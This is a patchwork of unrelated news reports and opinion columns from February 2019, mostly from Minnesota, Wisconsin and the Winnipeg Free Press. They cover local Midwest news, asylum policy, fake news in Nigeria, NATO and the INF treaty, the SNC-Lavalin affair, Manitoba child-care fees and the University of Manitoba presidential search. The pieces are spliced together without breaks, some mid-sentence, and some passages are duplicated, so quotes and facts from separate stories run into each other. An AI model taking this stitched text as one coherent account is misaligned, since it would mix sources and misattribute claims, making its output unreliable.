In order to guarantee the last day of school would be June 5, 2020, for students and June 8, 2020, for teachers, Mueller said the calendar was short a half-day of teacher work time. That time is included in teachers contracts, meaning they would be paid for it at a total cost of about $40,000.

She presented the school board with three options, recommending the third:A fork-tailed sunbird tries to gather honey from a flower in Fuzhou, capital of southeast China's Fujian Province, Feb. 12, 2019. (Xinhua/Mei Yongcun)

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[ Editor: zyq ]I was surprised people were out and about, she said. The snowbanks are pretty high down here.

Items such as diamond earrings and heart pendants are popular at Valentines Day, with most shoppers -- mostly men -- spending $50 to $100. Fay expects to stay busy right through closing time Thursday. Its a guy thing, she said. They just kind of wait to stop until they have to.

Those looking to enjoy a night out have plenty of choices this weekend. On Thursday, CAB Theatre will continue its two-weekend run of Sleeping Indoors, a comedy performed at the Ringling House Bed and Breakfast. The 20-seat living room setup creates an intimate experience. The bar will be open, and Neat-Os Bake Shoppe donated cupcakes that will be for sale at intermission.

I think weve created the perfect night out, director Molly Arbogast said.

Down the road at Baraboo Arts Banquet Hall, another community theater troupe -- the Baraboo Theatre Guild -- will open its production of the dinner theater comedy Nanas Naughty Knickers on Friday.

The play is very funny and just a tad bit naughty, producer Autumn Elliott said, and the cast is a great mix of new and familiar faces.After reading about CWD becoming a public health hazard, I just had to share some thoughts on my perceptions of the management of this disease in the deer herd.

I do not understand why the state of Minnesota and the DNR allow wild game (deer/elk) farms. It is apparent that these contribute to the spread of this disease. The elk farm by Pine Island was a glaring example and now the newspaper articles are noting the findings of a CWD infected deer close to a Winona County deer farm that is infected. This has to stop. These farms have to be legislated out of existence.

I also agree with the University of Minnesota statement that there needs to be more of a real time test of CWD. They should be working toward a field test that can be administered by the hunter who shot the deer, who then if it tests positive, they would not even field dress or move the deer, and would report the GPS location of the deer to the DNR who would then immediately pick it up and dispose of it properly.

This would not be considered to be a deer the hunter has to use their deer tag(s) on. As a hunter, I would be more willing to harvest and take home a deer that I knew tested negative for CWD, instead of waiting for days to see if it had CWD and risk contamination of everything and everyone it came in contact with.Even the most vicious deterrence policy  family separation comes to mind  cannot stop genuine refugees from seeking protection. Economic migrants, conversely, may be more inclined to weigh the risks and benefits of migration. The U.S. has seen a consistent decline in unlawful border crossings since 2000, with numbers correlated to the U.S. unemployment rate and thus job availability. However, the number of families attempting to enter the U.S. and expressing a fear of return does not follow this pattern. These families will continue to flee until the violence and lawlessness forcing their journey abates.

The Trump administrations latest deterrence effort forces asylum seekers to remain in Mexico with limited or no access to counsel while immigration judges in the U.S. adjudicate their cases. The administration claims people will be permitted to enter for their hearings. This policy is an egregious derogation of our obligations to asylum seekers under U.S. and international law. When will the U.S. stop inventing new ways to tighten the screws on the worlds most vulnerable people? Like all the others, this new deterrence policy will fail. In the meantime, these asylum-seeking families will be victimized by new perpetrators and live in squalor for months or even years.The county will discuss a long-term agreement during a meeting with Wabasha, Goodhue and Houston County officials on Feb. 19.

Fritz said the purpose of the meeting is to discuss whether or not it would be possible to transport inmates to jails in neighboring counties with excess capacity.

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According to county records, sheriffs Rodney L. Bartsh of Wabash County and Mark Inglett of Houston have expressed interest in entering into a long-term agreement to house inmates from Winona.

In a letter to Winona County, Inglett wrote that the Houston County Jail could reasonably hold as many as 40 inmates from Winona County, while Bartsh indicated Wabasha could accommodate as many as 25 of Winona Countys inmates.

Fritz said the discussion should inform the countys decision on how to address the Winona County Jails deficiencies.

Last September, the Minnesota Department of Corrections announced that as of Sept. 30, 2021, the Winona County Jail would no longer be authorized to hold inmates.In December, the MPCA took the rare step of denying Heins application for a general permit, citing concerns that the karst geology was too sensitive to contamination.

Hein applied again, this time for an individual permit, a customized document that would have likely included additional protections for water resources. Most of the states 1,300 state-permitted feedlots are covered under general permits, according to the MPCA.

Hein did not respond Monday to a request for comment, and MPCA officials declined to discuss what prompted his decision.

Groups opposed to so-called factory farming welcomed the news.

This is truly a win for the common good, said Sonja Trom Eayrs, an activist with Dodge County Concerned Citizens, which opposes large animal feedlots. Its nice to see the citizen Davids defeat the corporate big ag Goliaths.

Bobby King of the Land Stewardship Project, a nonprofit advocacy group that opposes big feedlots, said he thinks the MPCA would have issued the permit but for the vocal pushback. It was the many hundreds of rural residents and farmers that came together to stand up for their rural community who essentially did the MPCAs job of protecting Minnesotas air and water, King said.ABUJA, Nigeria - In Nigeria fake news can be so outlandish, yet widely believed, that the president recently felt compelled to declare that he had not died and been replaced by a Sudanese body double.

Hey there, time traveller!

This article was published 13/2/2019 (862 days ago), so information in it may no longer be current.

FILE - In this Feb. 20, 2016 file photo, a man walks past listening to news on a portable radio as military police deploy, shortly after the election result was announced and social media had been blocked, in downtown Kampala, Uganda. In Nigeria and other African countries fighting fake news is vexing and divisive, especially as major elections loom. (AP Photo/Ben Curtis, File)

ABUJA, Nigeria - In Nigeria fake news can be so outlandish, yet widely believed, that the president recently felt compelled to declare that he had not died and been replaced by a Sudanese body double.

"It's (the) real me, I assure you," President Muhammadu Buhari said late last year, to dispel the story that was viewed more than 500,000 times on Facebook, Twitter and YouTube.

Nigeria's fake news can also be lethal.

The stakes are high in Nigeria ahead of Saturday's presidential vote marked by widespread discontent over unemployment, poverty and insecurity in some parts of the country. Officials warn that fake or outdated pictures depicting communal violence trigger retaliatory killings.

Many were killed in reprisal killings sparked by horrific, but false, photos purporting to depict deaths in the conflict between herdsmen and farmers in central Nigeria last year, said Tolu Ogunlesi, a media assistant to Nigeria's president.

"Fake news kills people. We have seen a lot of things like that," he said. "Some of the deadly clashes in Nigeria were sparked off by fake news." He suggested that "the naming and shaming of members that peddle fake news" could stem the problem.

Africa's most populous country is so awash in falsehoods posted on Twitter, Facebook and YouTube that 16 media outlets have been collaborating on a fact-checking initiative, CrossCheck Nigeria, to research suspect election claims circulating online.

Some of the stories CrossCheck Nigeria recently discredited include allegations the first lady wants Nigerians to vote against her husband, as well as a suggestion that U.S. President Donald Trump endorsed opposition candidate Atiku Abubakar. Such allegations almost always appear on social media and sometimes are published by news websites.

The project is similar to Africa Check, which calls itself the continent's first fact-checking organization and has operated since 2012.

In the United States the term 'fake news' became frequently used after the 2016 election, which was marked by a Russian misinformation campaign. But in Africa fake news has long been a contentious matter, fueled in part by illiteracy and government secrecy even as the continent's 1.2 billion people rapidly acquire mobile handsets and gain internet access. The issue is now urgent: more than 24 per cent of people on the continent were online last year, the strongest growth in the world, according to the U.N. agency International Telecommunication Union.

Some African governments want to make publishing fake news a crime, a step too far for journalists in countries where the press already is censored and reporters can be jailed for critical stories.

Kenyan President Uhuru Kenyatta last year signed a cybercrimes bill that calls for fines and prison sentences for people convicted of spreading fake news. The law followed a disputed 2017 presidential election marred by online misinformation campaigns that raised political tensions in a country known for deadly post-vote violence along ethnic lines.

In Uganda, where there has been a surge in false news seen as portraying the government negatively, authorities warn that perpetrators face charges under a 2011 law prescribing criminal penalties for the misuse of a computer.

But activists warn that countering misinformation with legislation could be used to censor the press. The Committee to Protect Journalists opposed Kenya's law over concerns it would stifle press freedom. In Uganda there also has been resistance from the courts.

A Ugandan opposition activist was jailed last year on charges that he falsely accused the government of trying to kill pop star and politician Bobi Wine. A magistrate ordered the activist, Moses Bigirwa, freed in January, ruling that publishing fake news was not a crime.

Some governments in Africa have been accused of spreading misinformation themselves or maligning reports that were true. Authorities in Nigeria frequently challenge the veracity of reports of alleged abuses by military officers during campaigns against militants. They also have fiercely disagreed when human rights watchdogs, citing witnesses on the ground, report higher death tolls than the government's official ones.

Reports by Amnesty International's Nigeria office on the conduct of Nigerian troops fighting Islamic extremist group Boko Haram have created conflicts with the military, which has accused the local branch of the human rights group of publishing false accounts.

"Fake news has become like a cliche and ticket for demonizing the journalist, the media and the NGOs," Amnesty International Nigeria spokesman Isa Sanusi said, noting that false news spreads quickly in Nigeria because public officials often are not open with government information.

"The only thing that is fueling it is the fact that information is not available," he said. "The solution to stopping fake news in Nigeria is transparency, particularly from the side of the authorities."

False reports spread on social media so fast and frequently that some people who are the subjects of it simply have to laugh.

Nigerian writer and Nobel laureate Wole Soyinka said during a BBC-hosted conference on the spread of false news in Nigeria that he enjoyed reading the regular obituaries of his death.

Underscoring the severity of the problem, however, Soyinka warned that "if we are not careful, World War III will be started by fake news, and that fake news will probably be generated by a Nigerian."

Olukoya reported from Lagos, Nigeria.

Follow Africa news at https://twitter.com/AP_AfricaBRUSSELS - Taking aim at Russia, NATO's civilian chief said Wednesday the alliance is studying a range of options to counter Moscow's alleged missile treaty violations, and America's top diplomat accused the Russians of having "grand designs" to dominate Europe.

Hey there, time traveller!

This article was published 13/2/2019 (862 days ago), so information in it may no longer be current.

A man walks along the main atrium during a meeting of NATO defence ministers at NATO headquarters in Brussels, Wednesday, Feb. 13, 2019. (AP Photo/Francisco Seco)

BRUSSELS - Taking aim at Russia, NATO's civilian chief said Wednesday the alliance is studying a range of options to counter Moscow's alleged missile treaty violations, and America's top diplomat accused the Russians of having "grand designs" to dominate Europe.

In remarks at the outset of a NATO defence ministers meeting, Secretary-General Jens Stoltenberg said the military alliance is considering ways to counter Russian missiles without sparking an arms race. He called the missiles "a significant risk" to Europe.

In Poland, U.S. Secretary of State Mike Pompeo said Moscow's efforts to divide the European Union and NATO and disrupt western democracies must be countered through boosting NATO's presence.

"Russia has grand designs of dominating Europe and reasserting its influence on the world stage. Vladimir Putin seeks to splinter the NATO alliance, weaken the United States and disrupt Western democracies," he said.

"Russia's invasions of Georgia and Ukraine, its unprovoked attack on Ukrainian naval vessels this past November and its ongoing hybrid warfare against us and our allies are direct challenges to our security and to our way of life," he added.

Pompeo made the comments while visiting a NATO forward position in northeast Poland about 70 kilometres from the border with the Russian enclave of Kaliningrad.

Because of Russia's ongoing involvement in Ukraine, the U.S. and others take seriously the possibility that Moscow may try to open a new front along Europe's eastern flank, Pompeo said. He said that threat underscores the indispensable nature of NATO  a cornerstone of U.S. foreign policy for the past 70 years but the target of harsh criticism by President Donald Trump, who has cast the allies as freeloaders unwilling to foot the bill for their own defence.

Also throwing U.S. support behind NATO, Vice-President Mike Pence told hundreds of Polish and U.S. troops in Warsaw, Poland on Wednesday, "We must stand together in defence of our alliance and all that we hold dear."

Against the backdrop of rising Western tensions with Russia, the NATO meeting in Brussels focused initially on the expected demise of the Intermediate-range Nuclear Forces treaty, known as the INF treaty. The U.S. signed the pact with the Soviet Union in 1987. The allies are considering how to respond collectively to what they say are Russian violations of the treaty.

The United States on Feb. 2 launched the six-month process of leaving the INF treaty, insisting that a new Russian missile system violates the pact. Russia denies it is in contravention and has announced that it will pull out, too.

The INF bans production, testing and deployment of land-based cruise and ballistic missiles with a range of 500 to 5,500 kilometres (310 to 3,400 miles). European NATO allies insist that the pact is a cornerstone of continental security, although after Pompeo announced earlier this month that Washington was beginning the formal process of withdrawal, NATO publicly endorsed the move.

Speaking at NATO headquarters, where defence ministers are discussing what to do if the imperiled treaty is abandoned, Stoltenberg said: "This is very serious. We will take our time."

"Our response will be united," he said. "It will be measured, and it will be defensive because we don't want a new arms race. And we don't have any intention to deploy new nuclear land-based weapon systems in Europe."

Later, in remarks made alongside Pat Shanahan, the acting U.S. secretary of defence, Stoltenberg said, "We need to plan for a world without the treaty and with more Russian missiles."

Shanahan said he planned to brief his fellow ministers on his talks earlier this week in Afghanistan and Iraq, where he met with U.S. commanders and government leaders. NATO has roles in both Iraq and Afghanistan.

Shanahan, attending his first NATO meeting, said he also looked forward to talking to his colleagues about the future of the NATO alliance.

"We need to talk more about our vision and what we can accomplish in a world that has so many changing threats," he said.

NATO allies have little insight into Shanahan's views, whereas they felt confident that Jim Mattis, who resigned as defence secretary in December, was an unwavering supporter of the alliance. Mattis implied in his resignation letter that President Donald Trump's disrespect for traditional allies was among policy differences that compelled him to quit after two years in the job.

With regard to the expected termination of the INF treaty in August, Stoltenberg said that NATO has "a wide range of options, conventional and other options," but he declined to list them, warning that any speculation "would just add to the uncertainty."

U.S. officials have said there is no plan to deploy in Europe a nuclear-armed INF-class missile. They have said only non-nuclear options are under consideration and that decisions are not imminent.

The Pentagon believes that Russia's ground-fired Novator 9M729 cruise missile  known in NATO parlance as the SSC-8  could give Moscow the ability to launch a nuclear strike in Europe with little or no notice. Russia insists it has a range of less than 500 kilometres. It claims that U.S. target-practice missiles and drones also break the treaty.

European NATO members are especially keen to avoid any nuclear build-up and a repeat of the missile crisis in the 1980s. NATO allies decided to deploy U.S. cruise and Pershing 2 ballistic missiles in Europe in 1983 as negotiations with Moscow faltered over its stationing of SS-20 missiles in Eastern Europe.

--

AP Diplomatic writer Matthew Lee contributed to this report from Poland.Well, that certainly went from bad to worse to hell-in-a-handbasket disastrous in a hurry.

Hey there, time traveller!

This article was published 12/2/2019 (862 days ago), so information in it may no longer be current.

Well, that certainly went from bad to worse to hell-in-a-handbasket disastrous in a hurry.

Tuesdays resignation from federal cabinet by Vancouver-Granville MP Jody Wilson-Raybould  most recently minister of veterans affairs, but much more notoriously Canadas former justice minister and attorney general  turned the simmering scandal over alleged prime-ministerial interference in the justice departments handling of a high-profile bribery and corruption case into a full-blown political conflagration.

At issue, of course, is the court case involving the Quebec engineering firm SNC-Lavalin, which is facing corruption charges in relation to alleged bribery of Libyan officials between 2001 and 2011 in exchange for government contracts. The company, a longtime Liberal party supporter, actively lobbied federal officials for the past two years, seeking a stay of court proceedings and a negotiated settlement instead of a trial.

If convicted, SNC-Lavalin could be barred from receiving Canadian government contracts for up to 10 years  a penalty the company has stated could lead to its demise. Setting the stage for such potential damage in vote-rich Quebec during an election year would be an unsettling prospect for any ruling party.

ADRIAN WYLD / WINNIPEG FREE PRESS FILES Vancouver-Granville MP Jody Wilson-Raybould resigned from cabinet on Tuesday.

Last week, the Globe and Mail reported that the Prime Ministers Office and government officials attempted to pressure Ms. Wilson-Raybould, in her role as justice minister, to intervene by directing the director of Public Prosecutions to arrange an out-of-court settlement with SNC-Lavalin.

According to the report, the ministers refusal to interfere in the case led to her demotion last month from her high-profile post to the decidedly less-prestigious veterans affairs portfolio.

Since the Globes initial story was published, each day has brought a new and more damaging cycle of deflections and carefully worded non-denials from Prime Minister Justin Trudeau and current Attorney General David Lametti.

For her part, Ms. Wilson-Raybould remained mostly silent, invoking attorney-client privilege as her reason for not commenting on the issue.

Until, that is, Tuesdays release of her resignation letter, which was delivered "with a heavy heart" but included the acknowledgement many Canadians wish to hear her speak on "matters that have been in the media over the last week."

Wilson-Rayboulds resignation could not possibly be unfolding in a manner more damaging to the election-year aspirations of Justin Trudeau, whose ways, in recent days, seem to have taken a deliberate turn from sunny to murky. (Sean Kilpatrick / The Canadian Press files)

To that end, Ms. Wilson-Rayboulds letter states she is seeking legal advice regarding what she can say and has hired former Supreme Court justice Thomas Cromwell to represent her.

This could not possibly be unfolding in a manner more damaging to the election-year aspirations of Mr. Trudeau, whose ways, in recent days, seem to have taken a deliberate turn from sunny to murky.

First, the PM was accused of parsing words by stating he never "directed" Ms. Wilson-Raybould to intervene in the SNC-Lavalin case; then he was forced to admit he did meet with the erstwhile justice minister last fall to discuss (but not direct action in) the file.

Under intense scrutiny from opposition parties and the national media, Mr. Trudeau said he welcomes the investigation that has been launched by the federal ethics commissioner. He added Monday that Ms. Wilson-Raybould still had his complete confidence, and her continued presence in cabinet "should actually speak for itself."

If that were true, then Ms. Wilson-Rayboulds sudden and self-directed exit from cabinet qualifies as an emphatic rejection of the PMs supportive sentiment and, more importantly, a loudly bellowed warning things are likely to get a lot worse for Mr. Trudeau between now and when Canadians head to the polls this fall.Last month, after being shuffled out as federal justice minister, Jody Wilson-Raybould released a statement: It has always been my view that the attorney general of Canada must be non-partisan, more transparent in the principles that are the basis of decisions, and, in this respect, always willing to speak truth to power. This is how I served throughout my tenure in that role.

Hey there, time traveller!

This article was published 12/2/2019 (862 days ago), so information in it may no longer be current.

Opinion

Last month, after being shuffled out as federal justice minister, Jody Wilson-Raybould released a statement: "It has always been my view that the attorney general of Canada must be non-partisan, more transparent in the principles that are the basis of decisions, and, in this respect, always willing to speak truth to power. This is how I served throughout my tenure in that role."

It was an odd statement, made more weird by the fact she didnt even thank nor mention Prime Minister Justin Trudeau. Since the Liberals took power in 2015, Wilson-Raybould had become the face of the federal government, second only to Trudeau.

The two had been photographed together hundreds of times. When Trudeau made a speech on Indigenous rights in the House of Commons on Feb. 14, 2018, the shot of Wilson-Raybould embracing Trudeau, staring into his eyes with her hands on his face, became the perfect image for the prime minister's promise: to change Canadas dysfunctional and violent relationship with Indigenous peoples.

Appointing an Indigenous woman as justice minister/attorney general, Trudeau could vow Canadas "most important" relationship was with Indigenous peoples.

Wilson-Raybould was the perfect fit for a government launching an inquiry into the issue of murdered and missing Indigenous women and girls. She could also speak to First Nations on Trudeau's behalf  a minister of Indigenous affairs, without the title.

Wilson-Raybould accepted this role willingly and staked her reputation on it. She helped craft federal policies for Indigenous peoples and spoke on behalf of the government on Indigenous issues at Assembly of First Nations meetings. She encouraged chiefs to believe in and accept federal government policies, even announcing in July 2016 implementation of the United Nations Declaration on the Rights of Indigenous Peoples into Canadian law was "unworkable."

She said the right things, appeared at the right events, and defended Trudeau and the government.

Until she was shuffled to veterans affairs in January.

On Monday, Trudeau faced questions at a Vancouver news conference after a Globe and Mail report alleged he had tried to influence Wilson-Raybould, as justice minister, to abandon prosecution of Quebec construction giant SNC-Lavalin Group Inc.

SNC-Lavalin is facing potential fraud and corruption charges due to its business dealings in Libya. If found guilty, it would likely bankrupt the company.

Allegedly, Wilson-Raybould was asked by the Prime Minister's Office to lobby justice officials to negotiate a lesser penalty.

We dont know if thats true, as Wilson-Raybould has continued her silence, saying she is "bound by solicitor-client privilege in this matter."

Her absence at the Vancouver event, however, said something was off; Wilson-Raybould is the MP for Vancouver Granville. "Her presence in cabinet should actually speak for itself," the Prime Minister said.

That was more an invitation to Wilson-Raybould to speak. And she did, in resigning from cabinet Tuesday.

In her resignation letter, Wilson Raybould gave no reason for her departure, thanking Canadians and her constituents  but again not Trudeau: "When I sought federal elected office, it was with the goal of implementing a positive and progressive vision of change on behalf of all Canadians and a different way of doing politics."

If this isnt "speaking truth" to Trudeaus power, what followed is.

"I am aware that many Canadians wish for me to speak on matters that have been in the media over the last week... I am in the process of obtaining advice on the topics I am legally permitted to discuss in this matter." She then provided the name of her attorney.

No one announces "speak to my lawyer" in a resignation letter unless theyre unhappy.

She signed the letter with her Kwakwala name, Puglaas, which means "a woman born to noble people."

This is where truth meets power.

Wilson-Rayboulds resignation comes in a brutal period of conflict between Trudeaus government and Indigenous peoples. After riding a wave of Indigenous support in the 2015 election (where at least 22 federal ridings were directly influenced by Indigenous voters), recent arrests of Indigenous pipeline protesters in B.C., widespread disappointment with long-promised Indigenous rights and languages legislation, and ongoing failures with the National Inquiry into Missing and Murdered Indigenous Women and Girls have severely damaged Trudeaus reputation.

This is not to say the federal government hasnt had achievements  Trudeau recently announced 72 boil-water advisories in First Nations communities had ended  its just impossible to hear the conflict.

The Indigenous file had been Trudeaus greatest potential for a legacy. Now, it seems to be his biggest problem going into this falls federal election.

Now, Trudeau is alone. His perfect vision for reconciliation was fantastic, as long as Wilson-Raybould behaved and said the right things.

When she spoke truth, he got rid of her  a story all too familiar in the way Canada treats Indigenous peoples.

The price may be Trudeaus power.

niigaan.sinclair@freepress.mb.caA new report on child-care fees contains mixed reviews of Manitoba and raises important questions about public policy. A closer look complicates the congratulatory confidence that Manitobas fees are among the lowest in Canada (City second in daycare affordability, Winnipeg Free Press, Feb. 8).

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This article was published 13/2/2019 (862 days ago), so information in it may no longer be current.

Opinion

A new report on child-care fees contains mixed reviews of Manitoba and raises important questions about public policy. A closer look complicates the congratulatory confidence that Manitobas fees are among the lowest in Canada ("City second in daycare affordability," Winnipeg Free Press, Feb. 8).

For families with young children, Manitobas child-care deficit is a grave concern. The province has a licensed child-care space for fewer than one in five children, much worse than the national average. Not surprisingly, wait times are long  averaging 15 months, according to recent surveys. Low provincial fees are small comfort to parents who cant find a child-care place when they need one

If parents can find a space in a not-for-profit child-care centre or licensed family home, they usually pay a provincewide flat fee. The median cost for infants (whose developmental needs are higher, and who therefore require better adult-to-child ratios) averages $7,812 per year per child, while fees for older children are lower.

But the story is complicated. Some Manitoba child-care facilities charge much more than the celebrated flat fee. In fact, in for-profit centres, owners can charge what they want. Among profit-making centres, Manitoba is actually the most expensive province in Canada, with median infant fees of $20,200 per year per child. This is far from affordable.

Low-income Manitobans also find themselves priced out of licensed child care. Family incomes must be well below the poverty line before a parent qualifies for a maximum fee subsidy. Yet even with a maximum subsidy, most parents will pay surcharges of more than $500 per year per child. Daycare will cost a subsidized parent with two children in excess of $1,000 per year.

Canadian economists have determined child care is "unaffordable" when it eats up more than 10 per cent of family income. Other countries are more generous. Sweden, for example, has determined daycare should cost no more than five per cent of a two-child familys net income.

Affordability was a concern for the 2016 Manitoba Commission on Early Learning and Child Care. It recommended a sliding fee scale that maxed out at 10 per cent of median family income, with more modest thresholds for lower-income families. It recommended the daily surcharge for subsidized families should be eliminated.

In Manitoba, subsidy eligibility is brutally severe: a two-parent family with two preschool children must have a net annual family income of less than $22,504 to qualify for a maximum subsidy. Families must earn exceptionally low incomes to qualify, yet still must pay the daily surcharges. As a result, its sad but not surprising that barely 7,000 Manitoban children in a provincial system with 36,779 licensed spaces qualify for any fee support.

Prudently, Manitoba regulations currently ensure commercial child-care centres are generally ineligible for supply-side operating grants or payments for subsidized children. The logic is watertight: taxpayer dollars should not underwrite ongoing private profits nor help to accumulate personal assets. After all, if a not-for-profit child-care centre closes, it must divest its assets only to another not-for-profit organization.

In contrast, a commercial child-care operator can sell their business to the highest bidder and walk away with the proceeds in their pocket. For this reason, the Pallister governments recent decision to give away more than $2 million through tax credits to private businesses to start up workplace child-care centres (which charge higher-than-average fees) is irresponsible stewardship of the public purse.

There are big gaps in child-care affordability in Manitoba. Many parents find even the flat fees cost more than 10 per cent of their net income. Fee-paying parents in for-profit centres pay sky-high bills, and low-income parents are squeezed out by punitively restrictive subsidy eligibility criteria. For-profit centres are benefiting from growing fiscal incentives. There is an absolute shortage of spaces, and facilities are too often unable to recruit and retain early childhood educators, since they cant pay fair wages due to the financing architecture.

Manitoba needs to do much more to ensure meaningful affordability for parents, and to stabilize a quality early learning and care system with trained early childhood educators.

Susan Prentice is a professor in the department of sociology and criminology at the University of Manitoba.David Barnard was known as a poetry-quoting computing executive when he came to lead the University of Manitoba in 2008. He'll go out next year in the wake of sexual harassment and misconduct allegations against professors and high-profile resignations by Indigenous academics.

Hey there, time traveller!

This article was published 12/2/2019 (862 days ago), so information in it may no longer be current.

David Barnard was known as a poetry-quoting computing executive when he came to lead the University of Manitoba in 2008. He'll go out next year in the wake of sexual harassment and misconduct allegations against professors and high-profile resignations by Indigenous academics.

The Winnipeg school has announced Barnard's run as president and vice-chancellor will come to an end June 30, 2020. Its board of governors has established a search committee for a new president and hired executive search firm Perrett Laver.

While the work of the search committee has been behind closed doors in the past  with it recommending only a single candidate to the board and not saying who was on the short list  the University of Manitoba Faculty Association is pushing for those doors to be opened at least a crack this time around.

Association president Janet Morrill said the board of governors has already turned down a proposal by the institution's senate to have an open search for the next president and have short-listed candidates make a public presentation of their vision.

The latest proposal from the senate (made up mostly of representatives elected by faculties and students) is to have each of the short-listed candidates speak and be questioned at a closed session, with senators passing their opinions on to the hiring committee.

"This is a public institution, and it is a privilege to lead the university," Morrill said Tuesday. "We think the good for the institution outweighs the unpleasantness (of questioning) to the candidates."

The board of governors has not yet made a decision on the proposal.

An email to community leaders from Jeff Lieberman, chairman of both the board and the search committee  sent Tuesday with the subject line "University of Manitoba presidential search: invitation to share your views"  says the committee is looking for assistance on two questions: the key opportunities and challenges faced by the U of M, and the key qualities and characteristics hoped for in its next president.

"One of the first tasks of the search committee is to assess the university's leadership requirements for the next stage of its development," Lieberman said. "As a friend of the University of Manitoba, you appreciate the university's strengths, its distinctiveness and its position as one of Canada's leading research-intensive and teaching institutions. As Manitoba's largest and most comprehensive university, we celebrate our top-ranked professional schools, our outstanding faculty and staff, and the diversity of our very able students.

"We would be grateful if you would provide your views for the benefit of the committee."

Lieberman and a spokesperson for the university were not available for comment Tuesday.

Morrill said the faculty association does appreciate how far afield the search committee is surveying the views from people about what they believe is the leadership requirements for the university. She said she has been contacted by the search committee. Free Press editor Paul Samyn also received the email.

"We welcome that," she said. "They are doing a very wide consultation.

"The problem is this part of the process is very open and consultative, but the process becomes closed at the point they are getting the candidates... there's a lot we won't see, and a lot of input the community could provide."

kevin.rollason@freepress.mb.caIt was with some measure of irony Prime Minister Justin Trudeau chose a Winnipeg Transit garage to throw his former justice minister under a bus.

Hey there, time traveller!

This article was published 12/2/2019 (862 days ago), so information in it may no longer be current.

It was with some measure of irony Prime Minister Justin Trudeau chose a Winnipeg Transit garage to throw his former justice minister under a bus.

On Tuesday afternoon, Trudeau stood in the middle of Winnipeg Transit's Fort Rouge garage, near a podium festooned with a "Building Canada" sign, to confirm a federal grant to modernize the facility.

The event was a pretty lame example of pre-fabricated political theatre. Lamentably for Mayor Brian Bowman and other city officials in attendance, nobody wanted to talk about transit.

Instead, the journalists who had gathered wanted to talk about Jody Wilson-Raybould, the former justice and veterans affairs minister, and her announcement that morning that she was resigning from cabinet.

For several days, Trudeau has faced hard questions about whether he or any of his senior staff tried to pressure Wilson-Raybould to abandon a criminal prosecution against SNC-Lavalin Group Inc., a Quebec-based engineering firm that has been charged with bribing foreign governments to secure contracts.

Trudeau has consistently denied he or any of his people acted improperly. Wilson-Raybould, who was shuffled out of the justice portfolio last month and into veterans affairs, has so far refused to comment publicly on the allegations.

However, her resignation clearly put the prime minister on the defensive  and he used his Winnipeg visit to try and deflect attention.

Trudeau said repeatedly he was "surprised and disappointed" about Wilson-Raybould's decision to resign. He said the resignation was "not consistent with conversations I had with Jody weeks ago... nor is it consistent with the conversations we've had lately."

MIKE DEAL / WINNIPEG FREE PRESS Prime Minister Justin Trudeau says he was "surprised and disappointed" by Jody Wilson-Raybould's resignation.

Previously, Trudeau had said when the then-justice minister raised the SNC-Lavalin case directly with him, he told her any decisions were "hers alone" to make. However, surrounded by Winnipeg Transit buses, Trudeau went even further.

"If anybody felt differently, they had an obligation to raise that with me," Trudeau said several times. "No one, including Jody, did that."

In that moment, surrounded by freshly washed buses, it was clear Trudeau and Wilson-Raybould were adversaries in this evolving political melodrama. If Wilson-Raybould was going to use her resignation to add fuel to the fire surrounding the SNC-Lavalin case, Trudeau was apparently ready to fire back.

The broad strokes of this story could not be more unflattering or potentially damaging for the Trudeau government and the Liberal party in these critical months leading up to this fall's federal election.

The scenario that has been alleged is one we've heard before: a prime minister from Quebec using back channels to help an influential and well-connected company in his vote-rich, home province in the prelude to a federal vote.

SEAN KILPATRICK / THE CANADIAN PRESS FILES Trudeau denies he or the Prime Minister's Office acted improperly. Wilson-Raybould has so far refused to comment publicly on the allegations.

Although the specifics are quite different, the SNC-Lavalin affair evokes memories of the Quebec sponsorship scandal  which involved the illicit misuse of funds by Liberal operatives earmarked to promote the federal government in Quebec  that ultimately brought the Liberals to the edge of extinction in the early 2000s. To a lesser extent, there are echoes of Shawinigate, which involved allegations then-prime minister Jean Chretien directly intervened to help a hotel in his riding.

In this case, however, Trudeau may prove to be an elusive target. A close look at the facts reveals a number of outs the prime minister still has at his disposal.

First and foremost, the federal justice department has not relented in its criminal prosecution of SNC-Lavalin.

It may turn out officials in the Prime Minister's Office did try to get Wilson-Raybould to go easy on SNC-Lavalin. And, as opposition parties have charged, her refusal led to her surprising shuffle out of the justice portfolio in January. Certainly, the public has not received an adequate explanation about why Canada's first Indigenous justice minister was moved to a lesser role.

However, despite the fact SNC-Lavalin asked for access to a deferred prosecution agreement  which would allow the firm to plead guilty and pay a fine but avoid a criminal conviction  federal prosecutors have continued to prosecute the case as a criminal matter. The stakes in this case are high: if SNC-Lavalin is convicted of fraud and corruption charges, the firm would be barred from bidding on federal government contracts.

SNC-Lavalin is currently appealing the justice department's refusal to enter into a deferred prosecution.

The other advantage Trudeau enjoys is the burden Wilson-Raybould is carrying following her resignation.

Despite retaining a legal adviser, she has repeatedly claimed she is unable to publicly discuss the SNC-Lavalin case because of solicitor-client privilege. Opposition critics have asked Trudeau to waive that privilege to allow her to talk. But even then, SNC-Lavalin's appeal is currently before the courts and it would be impractical bordering on improper for a former justice minister to begin spilling her guts until that is resolved.

The wild card may be Trudeau's performance in Winnipeg.

The prime minister adopted an almost fatherly tone as he talked about how disappointed he was about Wilson-Raybould's decision to resign, and the trouble it was causing him. His tone suggested Wilson-Raybould was being unfair, even irrational, and if she had concerns about any aspect of the SNC-Lavalin case, she had a legal responsibility to raise it months earlier.

Ultimately, Wilson-Raybould may not have a smoking gun that implicates the prime minister or his staff. Or she may lack the intestinal fortitude to bring down the Trudeau government.

On the other hand, those folks who have had the misfortune of seeing the underside of a bus will tell you it has a funny way of steeling their resolve.

dan.lett@freepress.mb.caHey there, time traveller!

This article was published 12/2/2019 (862 days ago), so information in it may no longer be current.

Amid a burgeoning cabinet scandal, Prime Minister Justin Trudeau made a funding announcement Tuesday at Winnipeg Transits Fort Rouge garage.

As reported previously by the Free Press, the federal government is contributing $2.5 million towards the $5.3-million price tag for a series of upgrades to Phase 2 of the Osborne Street complex. City hall contributed the remaining $2.8 million.

Several dozen Transit employees were on hand for the late-afternoon news conference, along with Trudeau, Mayor Brian Bowman, several Winnipeg-area MPs, city councillors and other senior Transit officials.

"Were in a time when we need to be making investments in public transit and this funding from the federal government helps make scarce dollars at city hall go further," Bowman said. "By working together, were delivering results for Winnipeggers and for Canadians."

Trudeau said he was touring communities this month where his government has invested in infrastructure projects.

"Today were celebrating new investments right here in your backyard," the prime minister said. "Were investing so that Winnipeggers can count on a quick and reliable trip."

Winnipeg Transit is carrying out a combined $18.775-million worth of upgrades to the garage complex. The first phase involves a new roof for the main garage and replacement of the heating and ventilation system in the storage and maintenance facilities.

